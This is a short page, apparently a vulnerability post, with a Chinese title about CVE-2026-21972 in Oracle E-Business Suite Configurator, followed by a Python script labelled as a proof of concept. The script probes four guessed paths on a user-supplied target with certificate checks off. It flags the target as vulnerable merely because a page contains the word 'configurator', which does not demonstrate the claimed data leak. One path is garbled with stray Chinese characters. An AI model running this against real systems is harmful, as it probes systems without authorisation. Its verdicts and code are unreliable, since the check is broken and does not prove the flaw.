CVE-2026-21972 Oracle Configurator用户界面未授权信息泄露漏洞

import requests # CVE-2026-21972 PoC - Oracle Configurator Information Disclosure # Target: Oracle E-Business Suite Configurator User Interface # This PoC demonstrates unauthenticated access to restricted data def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2026-21972""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'application/json, text/html', } # Common Configurator paths that may expose sensitive data paths = [ '/configurator/', '/OA_HTML/configurator/', '/forms/c配置urator/', '/xmlpserver/configurator/', ] for path in paths: url = target_url.rstrip('/') + path try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200 and 'configurator' in response.text.lower(): print(f'[+] Potential vulnerability found at: {url}') return True except requests.RequestException as e: print(f'[-] Error accessing {url}: {e}') return False if __name__ == '__main__': target = input('Enter target URL: ') check_vulnerability(target)